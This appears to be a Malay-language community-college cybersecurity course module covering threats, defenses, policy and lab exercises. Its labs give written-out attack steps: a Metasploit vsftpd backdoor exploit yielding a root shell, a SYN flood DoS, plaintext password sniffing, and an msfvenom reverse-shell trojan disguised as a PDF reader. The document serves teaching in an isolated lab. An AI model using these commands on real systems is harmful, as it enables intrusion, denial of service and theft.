1.1.1 Bidang Kajian Keselamatan Siber

Keselamatan siber merupakan payung besar yang meliputi pelbagai disiplin untuk mengawal dan mempertahankan aset maklumat organisasi daripada ancaman digital. Terdapat 4 bidang kajian utama:

• Information Security (Keselamatan Maklumat): Perlindungan keseluruhan maklumat (data) sama ada dalam bentuk digital mahupun fizikal (kertas/fail) daripada diakses tanpa kebenaran.
• Network Security (Keselamatan Rangkaian): Perlindungan ke over rangkaian komputer, infrastruktur penghantaran data, peranti perantaraan (router, switch) daripada serangan pencerobohan dan kecurian trafik rangkaian.
• Application Security (Keselamatan Aplikasi): Proses mengukuhkan perisian dan kod aplikasi untuk mencegah eksploitasi kelemahan pepijat (*bug*). Contohnya termasuk pengesahan kod (*code review*) dan pengujian keselamatan dinamik.
• Operational Security (Keselamatan Operasi): Prosedur, peraturan, dan keputusan pengurusan harian yang menentukan bagaimana aset data dilindungi, diuruskan, atau dilupuskan secara selamat (seperti dasar pelupusan cakera keras).

1.1.2 Matlamat Keselamatan: CIA Triad

Teras utama di sebalik setiap strategi keselamatan IT ialah **Segitiga CIA (CIA Triad)**. Setiap polisi keselamatan dibangunkan untuk menjamin salah satu atau semua objektif ini:

1.1.3 Kategori Penyerang & Penggodam (Hackers)

Penggodam dikelompokkan mengikut niat, kebenaran (etika), dan tahap kemahiran mereka:

• White Hat Hacker (Penggodam Beretika): Pakar keselamatan yang menggodam dengan kebenaran rasmi organisasi untuk mencari kelemahan bagi memperkukuh sistem (contoh: *Penetration Tester*).
• Black Hat Hacker (Penggodam Berniat Jahat): Penjenayah siber yang menceroboh sistem komputer tanpa kebenaran bagi motif peribadi, kewangan, sabotaj, atau merosakkan data.
• Grey Hat Hacker: Penggodam di zon pertengahan. Mereka menggodam sistem tanpa izin (melanggar undang-undang) tetapi tidak mempunyai niat jahat. Biasanya mereka menggodam untuk menunjuk-nunjuk atau meminta ganjaran selepas melaporkan pepijat kepada pemilik sistem.
• Script Kiddies: Amatur yang mempunyai pengetahuan IT yang terhad. Mereka menggodam semata-mata dengan memuat turun dan menjalankan alat atau skrip siap sedia daripada internet tanpa memahami kod di sebaliknya.

1.2.1 Jenis-jenis Ancaman Keselamatan

Ancaman (*threat*) merujuk kepada sebarang kemungkinan peristiwa atau tindakan yang boleh menjejaskan keselamatan sistem komputer. Ia dikelaskan kepada 4 jenis utama:

1.2.2 Sumber Ancaman

Ancaman boleh dikategorikan mengikut asalnya:

• External vs Internal:
  • *External:* Serangan yang datang dari luar organisasi (sindiket jenayah siber, hacker bebas).
  • *Internal:* Ancaman dari dalam organisasi, iaitu kakitangan sendiri yang berniat jahat atau tidak sengaja cuai membocorkan kata laluan (sangat berbahaya kerana mereka sudah mempunyai hak akses asas).
• Structured vs Unstructured:
  • *Structured:* Serangan terancang, mempunyai objektif khusus, dana besar, dan dilaksanakan oleh pakar (contoh: serangan disokong negara/*State-sponsored*).
  • *Unstructured:* Serangan rawak oleh penggodam amatur yang mencari sasaran mudah berasaskan kelemahan rambang tanpa rancangan khusus.

1.2.3 Proses Pengenalpastian Risiko

Sebelum kita merangka sistem perlindungan, kita perlu menganalisis risiko maklumat melalui formula hubung kait berikut:

1.3.1 Program Perlindungan Terhadap Kod Hasad

Untuk menangkis kod hasad, kita memerlukan gabungan program perlindungan yang berbeza:

1. Antivirus: Mengimbas cakera keras dan memori peranti untuk mengesan, mengkuarantin, dan memadam fail malware berasaskan tandatangan digital (*signature-based*) atau tingkah laku peranti (*heuristic*).
2. Personal Firewall (Tembok Api): Memantau dan menapis trafik rangkaian masuk/keluar ke komputer mengikut tetapan keselamatan (*security policies*). Ia menghalang sambungan port yang tidak dibenarkan.
3. Intrusion Detection System (IDS): Sistem yang menganalisis aktiviti rangkaian atau hos untuk mengesan jika berlaku tanda-tanda cubaan pencerobohan dan memberikan penggera amaran kepada pentadbir sistem.

2.1.1 Pengelasan Serangan

Serangan siber diklasifikasikan berdasarkan tindakan dan cara pencerobohan berlaku:

• Passive Attacks (Serangan Pasif): Penyerang tidak mengubah sebarang kandungan data atau sistem. Mereka hanya menjejak, memantau, dan membaca aliran trafik maklumat yang sedang dihantar (contoh: *sniffing* kata laluan di Wi-Fi awam). Serangan pasif **sangat sukar dikesan** kerana tiada tanda-tanda fizikal sistem terjejas.
• Active Attacks (Serangan Aktif): Penyerang memintas, memadam, atau menukar kandungan fail, mesej, dan status operasi sistem. Contohnya termasuk serangan mengubah data transaksi kewangan. Serangan ini lebih mudah dikesan tetapi sukar untuk dihalang ketika ia bermula.
• Insider Attacks: Serangan yang berpunca daripada pihak di dalam organisasi yang mempunyai akaun sah dan kelayakan akses untuk merosakkan atau mencuri maklumat sensitif.
• Distribution Attacks: Gangguan atau pemasangan perisian hasad (spyware) ke atas peranti komputer semasa ia dalam proses pembikinan di kilang mahupun sedang diedarkan kepada pengguna.

2.1.2 Jenis Serangan Siber

Berikut adalah kaedah serangan teknikal yang sering dilancarkan oleh penyerang:

1. Reconnaissance Attack (Serangan Peninjauan): Serangan bertujuan mengumpul maklumat lengkap tentang sasaran sebelum melancarkan serangan utama. Contohnya, menggunakan *Nmap* untuk memetakan alamat IP peranti yang aktif dan port servis yang terbuka.
2. Denial of Service (DoS) / DDoS: Tindakan melumpuhkan pelayan atau talian rangkaian internet sasaran dengan menghantar limpahan trafik data palsu secara mendadak sehingga pelayan kehabisan memori atau lebar jalur (*bandwidth*).
3. Access Attack: Serangan untuk memecah masuk ke dalam sistem dengan meneka atau meretas kata laluan (contoh: serangan *Brute-Force* atau *Dictionary Attack*).

2.2.1 Kejuruteraan Sosial (Social Engineering)

Kejuruteraan Sosial ialah satu teknik memanipulasi pemikiran dan psikologi manusia supaya mereka secara sukarela menyerahkan maklumat sensitif atau melanggar dasar keselamatan organisasi. Teknik berasaskan penyamaran (*impersonation*) merangkumi:

• Impersonation (Vishing - Voice Phishing): Penipuan panggilan telefon di mana penyerang menyamar sebagai wakil polis, LHDN, atau bank untuk mengugut mangsa memindahkan wang segera (contoh: *Macau Scam*).
• Eavesdropping (Mencuri Dengar): Mencuri maklumat dengan curi-curi mendengar perbualan sensitif pihak lain di tempat awam tanpa disedari.
• Shoulder Surfing (Melihat Bahu): Tindakan mengintip dari belakang mangsa untuk melihat kata laluan, nombor PIN ATM, atau kod log masuk yang sedang ditaip.
• Dumpster Diving (Menyelongkar Tong Sampah): Mencari maklumat berharga dengan memeriksa sisa kertas kerja pejabat yang dibuang tanpa dihancurkan (seperti kod IP server atau password yang ditulis pada kertas pelekat).

Amali 3: Menyediakan Persekitaran Makmal Maya (VM Kali & Metasploitable)

Untuk melaksanakan tugasan amali cybersecurity secara sah dan selamat, kita mesti menggunakan persekitaran yang diasingkan (*isolated laboratory*) menggunakan mesin maya (**Virtual Machine**):

1. Mesin Penyerang (Attacker VM) - Kali Linux: Pasang Kali Linux menggunakan perisian virtualization seperti **VMware Workstation** atau **VirtualBox**. Kali Linux dimuatkan dengan pelbagai alat pengujian pencerobohan sedia ada. (User/Pass: `kali` / `kali`).
2. Mesin Sasaran (Victim VM) - Metasploitable 2: Sistem operasi Linux berasaskan Ubuntu yang dibina dengan kelompongan (*vulnerable by design*) yang sengaja dibuka untuk tujuan latihan penggodaman beretika. (User/Pass: `msfadmin` / `msfadmin`).
3. Konfigurasi Kad Rangkaian (Network Card Configuration): Tetapkan kad rangkaian kedua-dua VM kepada mod **NAT** atau **Host-Only** yang menggunakan subnet yang sama supaya kedua-dua peranti boleh berhubung tanpa mengganggu rangkaian internet fizikal kolej.

Amali 4: Imbasan Rangkaian Menggunakan Netdiscover

Sebaik sahaja makmal sedia, mulakan langkah peninjauan (*reconnaissance*) dengan arahan terminal berikut:

• sudo netdiscover -r [Subnet/CIDR]: Berfungsi untuk mengimbas rangkaian secara pasif/aktif bagi mencari alamat IP peranti yang sedang aktif di rangkaian. Contoh: `sudo netdiscover -r 192.168.18.0/24`.
• nmap [IP Sasaran]: Imbasan port lalai (*default scan*) untuk memeriksa senarai port utama yang berstatus *open* (terbuka). Contoh: `nmap 192.168.18.138`.
• nmap -sV [IP Sasaran]: Melakukan imbasan pengesanan versi (*Version Detection*) bagi mengetahui jenis perisian dan versi servis yang berjalan di setiap port terbuka. Ini amat kritikal untuk membolehkan kita mencari eksploitasi yang sepadan.
• nmap -A [IP Sasaran]: Imbasan agresif (*Aggressive Scan*) yang mengaktifkan pengesanan sistem operasi (OS detection), pengimbasan skrip keselamatan (NSE scripts), dan trace route rangkaian sekali gus.

Amali 6: Eksploitasi vsftpd Backdoor Menggunakan Metasploit Framework

Selepas melakukan imbasan Nmap pada Minggu 4, didapati port FTP sasaran (Port 21) sedang menjalankan perisian **vsftpd versi 2.3.4**. Versi ini terkenal kerana dibina dengan *backdoor* (pintu belakang) oleh pihak luar secara haram. Kita boleh memecah masuk menggunakan modul eksploitasi bersesuaian dalam **Metasploit Framework**:

1. Taip msfconsole di terminal Kali Linux untuk membuka konsol Metasploit.
2. Cari modul yang relevan dengan menaip search vsftpd 2.3.4. Anda akan melihat modul bernama exploit/unix/ftp/vsftpd_234_backdoor.
3. Pilih modul tersebut menggunakan arahan use exploit/unix/ftp/vsftpd_234_backdoor (atau use 0).
4. Tetapkan IP mangsa (Metasploitable) dengan arahan set RHOSTS 192.168.18.138.
5. Mulakan proses eksploitasi dengan menaip exploit atau run.
6. Jika berjaya, satu sesi terminal arahan (command shell) mangsa akan diperoleh secara langsung dengan akses tertinggi (**root**). Uji dengan menaip ls atau whoami.

Amali 7: Simulasi Serangan TCP SYN Flood DDoS

Serangan SYN Flood mengebom pelayan sasaran dengan paket TCP SYN (permintaan sambungan awal) tanpa membalas paket SYN-ACK daripada pelayan. Ini menyebabkan penimbal sambungan pelayan menjadi penuh dan menolak pengguna sebenar. Langkah pelaksanaan:

• Buka Metasploit: msfconsole.
• Cari modul synflood: use auxiliary/dos/tcp/synflood.
• Set sasaran (contoh Windows 10 Tiny): set RHOSTS 192.168.18.139.
• Mulakan serangan dengan menaip exploit. Pelayan sasaran akan terbeban dengan CPU 100% dan tidak lagi mampu bertindak balas.

3.1.1 Pengelasan Rangkaian (Security Zoning)

Bagi menghalang serangan luar daripada terus meresap ke rangkaian sulit syarikat, organisasi diasingkan kepada **zon keselamatan** berbeza:

• External Network (Rangkaian Awam): Kawasan internet luar yang tidak selamat dan berada di luar kawalan organisasi.
• DMZ (Demilitarized Zone): Zon penampan fizikal atau logikal yang menempatkan pelayan web yang perlu dicapai oleh orang awam (seperti Pelayan Web Portal). Jika pelayan di DMZ digodam, penyerang masih dihalang dari memasuki pangkalan data sulit dalam organisasi oleh firewall sekunder.
• Internal Network (Rangkaian Intranet): Zon paling selamat yang menempatkan pangkalan data utama, maklumat gaji staf, dan workstation admin. Ia dilindungi dengan ketat daripada akses terus dari luar.

3.1.2 Komponen Pertahanan Utama

1. Firewalls: Peranti perkakasan atau perisian yang menapis semua paket masuk dan keluar rangkaian mengikut polisi bertulis.
2. Virtual Private Network (VPN): Mewujudkan terowong data (*tunneling*) yang disulitkan (*encrypted*) bagi membolehkan pekerja mengakses rangkaian internal organisasi secara selamat dari rumah.
3. Intrusion Detection/Prevention System (IDS/IPS): Memantau trafik rangkaian secara berterusan. IDS akan membunyikan penggera sekiranya mengesan aktiviti mencurigakan, manakala IPS pula boleh mengambil tindakan automatik menyekat serangan tersebut.
4. Honeypots: Komputer atau rangkaian palsu yang dibina lemah secara sengaja untuk bertindak sebagai umpan bagi menarik minat penggodam mendedahkan taktik mereka, sekali gus melindungi server yang sebenar.

3.2.1 Kawalan Keselamatan Fizikal & Persekitaran

Keselamatan fizikal menghalang pencerobohan zahir secara langsung ke atas bilik server:

• Access Control (Kawalan Akses): Penggunaan pagar keselamatan, kamera CCTV 24 jam, pengawal keselamatan, pintu kad pintar, atau kawalan biometrik (imbasan anak mata/cap jari).
• Environmental (Persekitaran): Pemasangan sistem pemadam api berasaskan gas mesra komputer (seperti FM200, bukan air), bilik kebal, penghadang gelombang magnetik (*shielding*), dan unit sandaran kuasa elektrik Uninterruptible Power Supply (UPS) untuk menepis gangguan bekalan elektrik.

3.3.1 Konsep Application Hardening

Application Hardening ialah proses mengkonfigurasi dan menaik taraf aplikasi perisian bagi meminimumkan kelemahan (*vulnerabilities*) yang boleh dieksploitasi oleh penyerang. Langkah-langkah hardening merangkumi pemasangan tampalan perisian daripada pengeluar rasmi:

• Service Packs: Himpunan besar pengemaskinian, pembetulan pepijat, dan penambahbaikan keselamatan yang diuji dan dikeluarkan oleh vendor (seperti Microsoft) secara berkala (contoh: Service Pack 1 Windows 7).
• Security Patches: Tampalan fail khas berskala kecil yang dilepaskan dengan kadar segera untuk menampal satu kelemahan keselamatan kritikal yang baru ditemui (contoh: patch bagi menutup eksploitasi ransomware WannaCry).
• Hotfixes: Penyelesaian kod pantas yang diedarkan kepada organisasi atau pelanggan tertentu bagi mengatasi masalah spesifik sebelum kemas kini rasmi dikeluarkan secara meluas.
• Bug Fix: Skrip pembetulan kod pengaturcaraan untuk mengatasi masalah ralat logika perisian supaya fungsi aplikasi beroperasi dengan lancar.

Fokus Pentaksiran: Panduan Kajian Kes (Case Study)

Minggu ini selaras dengan tarikh penghantaran **Kajian Kes (CA 20% - CLO2)**. Tugasan anda melibatkan penyelesaian senario berikut:

Langkah Penyelesaian yang Perlu Dimuatkan Dalam Video/Slides:

1. Zoning: Cadangkan pembahagian zon keselamatan (DMZ untuk pelayan web awam, Internal Network untuk pelayan data transaksi kewangan, dan Client WiFi berasingan menggunakan VLAN).
2. Security Measures: Cadangkan pemasangan IDS/IPS untuk memantau pencerobohan siber secara aktif, dan VPN untuk akses staf dari luar pejabat.
3. Physical Protection: Cadangkan bilik server dikunci dengan biometrik, dipantau CCTV, dan dipasang alat pemadam api FM200.
4. System Hardening: Cadangkan penguatkuasaan kata laluan BIOS, menutup port tidak digunakan, dan pemasangan Security Patches/Service Packs secara berkala.

4.1.1 Tadbir Urus & Pengurusan Polisi Keselamatan

Tadbir Urus Keselamatan (*Security Governance*) ialah rangka kerja bertulis peringkat pengurusan tertinggi untuk menyelia, meluluskan, dan memantau amalan keselamatan siber organisasi supaya mematuhi undang-undang negara dan standard industri.

4.1.2 Klasifikasi Maklumat (Information Classification)

Melindungi semua fail pejabat dengan tahap perlindungan yang sama rata adalah tidak munasabah dan membazir kos. Oleh itu, data perlu dikategorikan mengikut label sensitiviti masing-masing:

4.1.3 Dokumen Polisi Keselamatan

Dokumen polisi ialah teks formal bertulis yang mengandungi undang-undang dalaman organisasi yang wajib dipatuhi oleh pekerja. Dokumen ini mentakrifkan standard kata laluan, akses peranti, tindakan tatatertib pelanggaran keselamatan, dan proses pemulihan data.

4.1.4 Pengurusan Nama Pengguna & Kata Laluan

Kredibiliti akaun pengguna adalah garisan pertama pertahanan organisasi. Dasar password yang kukuh wajib diamalkan:

• Kompleksiti: Menggunakan sekurang-kurangnya 12 aksara yang menggabungkan huruf besar, huruf kecil, nombor, dan simbol khas (contoh: `@`, `#`, `!`).
• Kitaran Hayat (Expiration): Kata laluan wajib ditukar setiap 90 hari untuk mengelakkan penyalahgunaan akaun lama.
• Polisi Lockout: Akaun disekat secara automatik selama 30 minit jika terdapat kesilapan kata laluan sebanyak 3 kali berturut-turut untuk menghalang serangan *brute-force*.

4.1.5 Hak Akses Fail & Folder (Permissions)

Mengamalkan prinsip **Least Privilege** (hak akses minimum). Staf hanya dibenarkan mengakses fail yang diperlukan untuk tugas harian mereka sahaja. Hak akses dalam sistem fail terdiri daripada:

• Read (r): Kebenaran untuk membuka dan melihat isi kandungan fail atau folder.
• Write (w): Kebenaran untuk mencipta, mengubah, mengedit, atau menulis semula fail atau folder.
• Execute (x): Kebenaran untuk menjalankan program aplikasi atau fail skrip di dalam memori komputer.

4.1.6 Kaedah Melindungi Data (Authentication)

1. Data Encryption (Penyulitan Data): Proses algoritma menukar teks biasa (*plain text*) yang boleh dibaca kepada aksara rawak disulitkan (*cipher text*) bagi menjamin kerahsiaan data.
2. Security Tokens: Penggunaan token fizikal atau peranti pintar penjana nombor pengesahan sementara secara rawak (contoh: OTP).
3. Biometrics: Pengenalan biologi manusia seperti pengimbas cap jari, wajah, dan anak mata (*iris scan*) yang unik dan tidak boleh dikongsi.
4. Multi-Factor Authentication (MFA): Menggabungkan dua atau lebih kaedah pengesahan identiti (sesuatu yang anda tahu, miliki, atau ada pada biologi anda) sebelum keizinan masuk diberikan.

4.2.1 Acceptable Use Policy (AUP)

AUP ialah dokumen perjanjian rasmi antara organisasi (Kolej Komuniti) dan pengguna (pelajar/staf) yang menetapkan peraturan bertulis mengenai cara penggunaan komputer, rangkaian, dan internet kolej secara beretika. AUP **melarang keras** pemasangan perisian cetak rompak, melayari laman web tidak senonoh, dan aktiviti pencerobohan siber.

4.2.2 Polisi Akses Fizikal (Physical Access Policies)

Peraturan ketat untuk menghalang penceroboh daripada melintasi zon fizikal pejabat:

• Tailgating Prohibited: Larangan menahan pintu keselamatan bagi membolehkan orang di belakang melintas bersama tanpa mengimbas kad akses mereka sendiri (walaupun kenal). Setiap orang mesti mengimbas kad.
• Pas Pelawat: Tetamu luar mesti mendaftar masuk di kaunter pengawal keselamatan, memakai pas pelawat, dan sentiasa diiringi oleh kakitangan kolej sepanjang berada di kawasan sensitif.

Amali 8: Mengkonfigurasi Sepanduk Amaran Logon Windows (secpol.msc)

Mengikut standard tadbir urus keselamatan, komputer pejabat mesti memaparkan amaran undang-undang sebelum pengguna dibenarkan menaip kata laluan log masuk. Ini bertindak sebagai perjanjian undang-undang. Ikuti langkah di bawah pada sistem operasi Windows 10/11:

1. Tekan pintasan keyboard Win + R, taip arahan secpol.msc, dan tekan Enter untuk membuka **Local Security Policy**.
2. Pada panel kiri, navigasi to: Local Policies → Security Options.
3. Pada senarai dasar di panel kanan, cari entri: Interactive logon: Message title for users attempting to log on. Klik dua kali dan masukkan tajuk amaran (cth: AMARAN KESELAMATAN). Klik OK.
4. Seterusnya, cari entri: Interactive logon: Message text for users attempting to log on. Klik dua kali dan taip teks amaran undang-undang:

   "AMARAN: Sistem komputer ini dikhaskan untuk kakitangan berkuasa Kolej Komuniti Papar sahaja. Aktiviti anda dipantau."

5. Klik Apply, kemudian OK. Uji dengan mengunci skrin Windows menggunakan pintasan Win + L.

Mengapa Log Akses Amat Kritikal?

Apabila berlaku insiden pencerobohan (contohnya: perkakasan PC dicuri dari makmal komputer), penganalisis keselamatan tidak boleh sekadar meneka. Mereka mesti meneliti fail log dari pelbagai sistem kawalan akses (Access Control Logs). Log ini bertindak sebagai bukti audit (*audit trail*).

Mengesan Pencerobohan Tailgating (Mengekor)

Tailgating berlaku apabila pekerja yang sah menyapu kad akses pintu dan masuk, manakala penceroboh memegang pintu terbuka dan mengekori mereka dari belakang tanpa menyapu kad sendiri. Kita boleh menyiasat insiden ini dengan membandingkan log akses pintu biometrik dengan rakaman CCTV:

Tindakan Mitigasi Tailgating

1. Pendidikan Pekerja: Latihan berkala mengenai risiko membiarkan pintu terbuka kepada orang luar (dasar "Satu Sapuan, Satu Orang").
2. Pemasangan Mantraps / Turnstiles: Menggunakan struktur fizikal pintu berkembar berpusing (seperti di pintu MRT) di mana hanya satu orang sahaja boleh melintas pada satu-satu masa.
3. Pemasangan Penderia Haba (Thermal Sensors): Sensor moden di atas pintu keselamatan yang boleh mengira jumlah kepala manusia yang melintasi pintu dan membunyikan penggera jika melebihi kad pengimbas.

4.3.2 Protokol Rangkaian & Wireshark

**Wireshark** ialah penganalisis protokol rangkaian (*packet sniffer*) sumber terbuka standard industri. Ia menangkap trafik data secara langsung (*live packet capture*) yang sedang mengalir melalui kad rangkaian komputer. Ciri utama Wireshark:

• Packet Capture (Pencerapan Paket): Menangkap aliran paket data TCP, UDP, DNS, HTTP, dll., daripada kad rangkaian (Ethernet/Wi-Fi).
• Packet Filtering: Menyaring ribuan paket data untuk mencari paket yang dikehendaki dengan menulis skrip penapis (cth: `http` untuk menapis protokol web sahaja).
• Password Sniffing (Bahaya HTTP): Menunjukkan bahaya menggunakan laman web HTTP tanpa penyulitan (plain text). Wireshark boleh mendedahkan kata laluan log masuk mangsa secara terang-terangan jika dihantar melalui kaedah HTTP POST.

Amali 9: Analisis Protokol & Penapisan Paket Menggunakan Wireshark

1. Buka terminal Kali Linux, taip arahan wireshark dan tekan **Enter**.
2. Pilih antara muka rangkaian aktif (cth: eth0) dan klik ikon sirip jerung biru untuk mula menangkap paket.
3. Buka pelayar web, layari laman web log masuk HTTP yang tidak disulitkan (contoh: http://testphp.vulnweb.com/login.php) dan taip nama pengguna serta kata laluan palsu. Tekan Submit.
4. Kembali ke Wireshark, tekan butang henti (butang merah) pencerapan paket.
5. Pada baris penapis (*Filter Bar*), taip arahan: http.request.method == "POST" dan tekan Enter.
6. Klik pada baris paket HTTP POST yang dijumpai, kembangkan bahagian **HTML Form URL Encoded** di panel butiran bawah. Anda akan melihat parameter data yang dihantar (cth: uname=admin&pass=PaparCyber2026!).

Amali 10: Pemulihan Fail Terpadam & Forensik Digital (Autopsy)

Apabila pengguna memadam fail biasa daripada Windows Explorer (bukan Recycle Bin), sistem operasi hanya memadamkan penunjuk fail (*pointer*), manakala data sebenar masih wujud di sektor pemacu sehinggalah ia ditulis ganti oleh fail baharu. Kita boleh memulihkan fail terpadam menggunakan alat **Autopsy**:

1. Pasang dan buka **Autopsy** (Jalankan sebagai *Administrator* di Windows).
2. Klik **New Case** dan beri nama kes (cth: Kes_001).
3. Pilih jenis punca data (**Data Source**), iaitu *Local Disk* yang menghala ke pemacu USB (pendrive) latihan anda.
4. Nyahaktifkan ingest module yang tidak berkaitan untuk mempercepatkan pengimbasan, kemudian klik **Next**.
5. Kembangkan senarai pada panel kiri di bawah: File Types → Deleted Files.
6. Cari nama fail atau gambar terpadam anda. Klik kanan pada fail tersebut dan pilih **Extract File(s)** untuk menyimpannya kembali ke komputer.

Amali Trojan Msfvenom (Penunjuk Bahaya)

Penyerang boleh menyamar sebagai perisian sah (seperti PDF Reader) dengan memasukkan kod trojan berbahaya menggunakan arahan Msfvenom:

sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP Kali Linux] LPORT=4444 -f exe > adobreader.exe

Apabila mangsa tertipu dan menjalankan fail `adobreader.exe`, ia akan membuka sambungan pintu belakang ke terminal Kali Linux penyerang secara automatik. Penyerang boleh mengambil alih kamera web, melihat skrin mangsa melalui arahan screenshare, dan memadam fail penting mangsa.

4.4 Latihan & Program Kesedaran Siber

Kajian menunjukkan bahawa **85% pencerobohan siber bermula daripada kecuaian manusia** (Human Error). Oleh itu, organisasi perlu mendidik kakitangan melalui program kesedaran siber berkala:

• Clean Desk Policy (Dasar Meja Bersih): Peraturan yang melarang pekerja meninggalkan dokumen sensitif terdedah di atas meja pejabat, atau menampal kertas pelekat (*sticky notes*) kata laluan log masuk pada monitor komputer selepas habis waktu bekerja. Semua fail mesti disimpan di dalam laci berkunci.
• Bahaya USB Drops (Pancingan USB): Taktik penggodam yang mencampakkan pemacu USB yang telah disuntik malware secara sengaja di persekitaran tempat letak kereta kolej. Kakitangan dilarang keras memungut dan mencucuk pemacu USB yang tidak dikenali ke dalam komputer pejabat.

Format Peperiksaan Akhir (Final Assessment - 30%)

Peperiksaan bertulis merangkumi soalan subjektif dan objektif meliputi keseluruhan Topik 1.0 sehingga Topik 4.0. Pastikan anda menguasai istilah penting dalam CIA Triad, jenis ancaman, konfigurasi Windows Policy, dan alatan keselamatan.